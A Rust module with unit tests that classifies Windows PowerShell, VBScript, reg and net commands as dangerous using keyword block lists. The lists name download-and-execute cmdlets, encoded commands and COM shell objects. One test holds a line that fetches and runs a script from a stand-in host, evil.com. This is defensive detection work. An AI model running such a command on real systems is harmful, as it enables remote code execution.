//! Enhanced Windows/PowerShell command safety detection (Phase 3).
//!
//! This module extends the basic windows.rs with more sophisticated patterns:
//! - COM object detection (.CreateObject, WScript.Shell)
//! - Registry operations (reg.exe, Get-Item HKLM:)
//! - Dangerous cmdlets (Invoke-Expression, Invoke-WebRequest with execution)
//! - Network operations (New-WebRequest, System.Net)
//! - Process execution patterns
//!
//! Pattern categories:
//! 1. COM Automation (High Risk)
//! 2. Registry Access (Medium Risk)
//! 3. Web/Network Operations (Variable Risk)
//! 4. Code Execution (High Risk)
//! 5. File Operations (Variable Risk)

/// Enhanced Windows command safety detection
pub fn is_dangerous_windows_enhanced(command: &[String]) -> bool {
    if command.is_empty() {
        return false;
    }

    let exe = &command[0];
    let base_exe = extract_exe_name(exe).to_lowercase();

    // PowerShell variants
    if is_powershell_executable(&base_exe) {
        return is_dangerous_powershell_enhanced(command);
    }

    // VBScript
    if base_exe == "cscript" || base_exe == "cscript.exe" || base_exe == "wscript" {
        return is_dangerous_vbscript(command);
    }

    // Registry operations
    if base_exe == "reg" || base_exe == "reg.exe" {
        return is_dangerous_reg_operation(command);
    }

    // NET commands
    if base_exe == "net" || base_exe == "net.exe" {
        return is_dangerous_net_command(command);
    }

    false
}

/// Detects dangerous PowerShell patterns with COM and code execution detection
fn is_dangerous_powershell_enhanced(command: &[String]) -> bool {
    if command.len() < 2 {
        return false;
    }

    let script = &command[1];
    let script_lower = script.to_lowercase();

    // ──── COM Object Detection ────
    if is_com_object_creation(&script_lower) {
        return true;
    }

    // ──── Dangerous Cmdlets ────
    if is_dangerous_cmdlet(&script_lower) {
        return true;
    }

    // ──── Code Execution Detection ────
    if is_code_execution_pattern(&script_lower) {
        return true;
    }

    // ──── Registry Access ────
    if is_registry_access(&script_lower) {
        return true;
    }

    // ──── Network Operations with Execution ────
    if is_dangerous_network_operation(&script_lower) {
        return true;
    }

    // ──── File Operations that Execute ────
    if is_dangerous_file_operation(&script_lower) {
        return true;
    }

    false
}

/// Detects COM object creation (WScript.Shell, Shell.Application, etc.)
fn is_com_object_creation(script: &str) -> bool {
    let dangerous_objects = [
        "wscript.shell",
        "shell.application",
        "activexobject",
        "getobject",
        "createobject",
        "activexpdf.pdfdocument",
        "excel.application",
        "word.application",
        "outlook.application",
        "internet.explorer",
        "msxml2",
        "interop",
    ];

    dangerous_objects.iter().any(|obj| script.contains(obj))
}

/// Detects dangerous PowerShell cmdlets
fn is_dangerous_cmdlet(script: &str) -> bool {
    let dangerous = [
        // Code execution
        "invoke-expression",
        "iex",
        "invoke-command",
        "icm",
        "invoke-webrequest",
        "iwr",
        "invoke-restmethod",
        "irm",
        // Registry
        "set-item",
        "new-item",
        "remove-item",
        // Process execution
        "invoke-process",
        "new-process",
        "start-process",
        // File operations
        "copy-item",
        "move-item",
        "remove-item",
        // Dangerous combinations with -EncodedCommand
        "encoded",
        "-enc",
        "-e ",
        // WMI
        "invoke-wmimethod",
        "get-wmiobject",
        // Event tracing
        "trace-command",
    ];

    dangerous.iter().any(|cmd| script.contains(cmd))
}

/// Detects code execution patterns (IEX, . source, &, etc.)
fn is_code_execution_pattern(script: &str) -> bool {
    let patterns = [
        "| iex", // Pipeline to IEX
        "| invoke-expression",
        ". {",            // Dot sourcing
        "& {",            // Call operator with script block
        "-scriptblock {", // Explicit script blocks
        "powershell.exe",
        "powershell -",
        "[scriptblock]::create",
        "convertto-securestring",
        "-asplaintext",
    ];

    patterns.iter().any(|p| script.contains(p))
}

/// Detects registry access attempts
fn is_registry_access(script: &str) -> bool {
    script.contains("registry::") || script.contains("hkey_") || script.contains("reg::")
}

/// Detects dangerous network operations with code execution
fn is_dangerous_network_operation(script: &str) -> bool {
    // Network operations by themselves are often OK
    // But combined with execution they're dangerous
    let has_network = script.contains("invoke-webrequest")
        || script.contains("iwr")
        || script.contains("invoke-restmethod")
        || script.contains("irm")
        || script.contains("system.net")
        || script.contains("webclient");

    let has_execution = script.contains("invoke-expression")
        || script.contains("iex")
        || script.contains("| iex")
        || script.contains("[scriptblock]");

    has_network && has_execution
}

/// Detects dangerous file operations (execute, script execution)
fn is_dangerous_file_operation(script: &str) -> bool {
    // Simplified pattern matching (would be improved with regex)
    // Dangerous patterns include:
    // - copy-item.*-destination.*powershell
    // - get-content.*-encoding.*utf8.*|.*iex
    // - .ps1" | iex
    // - .vbs
    // - .bat" | iex
    script.contains(".ps1") && (script.contains("iex") || script.contains("invoke-expression"))
}

/// Detects dangerous VBScript patterns
fn is_dangerous_vbscript(command: &[String]) -> bool {
    if command.len() < 3 {
        return false;
    }

    let script = command.join(" ").to_lowercase();

    let dangerous = [
        "createobject",
        "wscript.shell",
        "shell.application",
        "run(",
        "exec(",
        "regread",
        "regwrite",
        "getobject",
    ];

    dangerous.iter().any(|pattern| script.contains(pattern))
}

/// Detects dangerous registry operations
fn is_dangerous_reg_operation(command: &[String]) -> bool {
    if command.len() < 2 {
        return false;
    }

    let operation = command[1].to_lowercase();

    // Dangerous operations on registry
    matches!(
        operation.as_str(),
        "add" | "delete" | "import" | "export" | "query" | "copy"
    )
}

/// Detects dangerous NET commands
fn is_dangerous_net_command(command: &[String]) -> bool {
    if command.len() < 2 {
        return false;
    }

    let subcommand = command[1].to_lowercase();

    // Dangerous network commands
    matches!(
        subcommand.as_str(),
        "user" | "localgroup" | "group" | "share" | "use" | "config" | "session"
    )
}

fn is_powershell_executable(exe: &str) -> bool {
    matches!(exe, "powershell" | "powershell.exe" | "pwsh" | "pwsh.exe")
}

fn extract_exe_name(exe: &str) -> String {
    std::path::Path::new(exe)
        .file_name()
        .and_then(|osstr| osstr.to_str())
        .unwrap_or("")
        .to_string()
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn detects_wscript_shell_creation() {
        let cmd = vec![
            "powershell".to_string(),
            "CreateObject(\"WScript.Shell\")".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_shell_application() {
        let cmd = vec![
            "powershell".to_string(),
            "New-Object -ComObject Shell.Application".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_invoke_expression() {
        let cmd = vec![
            "powershell".to_string(),
            "Invoke-Expression -Command 'malicious'".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_iex_alias() {
        let cmd = vec!["powershell".to_string(), "IEX 'malicious code'".to_string()];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_dot_sourcing() {
        let cmd = vec!["powershell".to_string(), ". { malicious code }".to_string()];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_script_block() {
        let cmd = vec![
            "powershell".to_string(),
            "-ScriptBlock { malicious }".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_registry_access() {
        let cmd = vec![
            "powershell".to_string(),
            "Get-Item HKEY_LOCAL_MACHINE\\Software".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_network_with_execution() {
        let cmd = vec![
            "powershell".to_string(),
            "Invoke-WebRequest http://evil.com/script.ps1 | IEX".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn allows_safe_powershell() {
        let cmd = vec![
            "powershell".to_string(),
            "Write-Host 'Hello World'".to_string(),
        ];
        assert!(!is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn allows_get_process() {
        let cmd = vec![
            "powershell".to_string(),
            "Get-Process -Name explorer".to_string(),
        ];
        assert!(!is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_vbscript_createobject() {
        let cmd = vec![
            "cscript.exe".to_string(),
            "CreateObject(\"WScript.Shell\")".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_reg_add_operation() {
        let cmd = vec![
            "reg".to_string(),
            "add".to_string(),
            "HKEY_LOCAL_MACHINE\\Software".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_net_user_command() {
        let cmd = vec![
            "net".to_string(),
            "user".to_string(),
            "administrator".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn allows_safe_net_command() {
        let cmd = vec!["net".to_string()];
        assert!(!is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_encoded_command() {
        let cmd = vec![
            "powershell".to_string(),
            "-EncodedCommand".to_string(),
            "ZWNobyAidGVzdCIK".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_activexobject() {
        let cmd = vec![
            "powershell".to_string(),
            "$obj = New-Object -ComObject MSXML2.XMLHTTP".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_excel_automation() {
        let cmd = vec![
            "powershell".to_string(),
            "CreateObject(\"Excel.Application\")".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn detects_pipeline_to_iex() {
        let cmd = vec![
            "powershell".to_string(),
            "Get-Content script.ps1 | iex".to_string(),
        ];
        assert!(is_dangerous_windows_enhanced(&cmd));
    }

    #[test]
    fn allows_safe_get_content() {
        let cmd = vec![
            "powershell".to_string(),
            "Get-Content config.txt".to_string(),
        ];
        assert!(!is_dangerous_windows_enhanced(&cmd));
    }
}
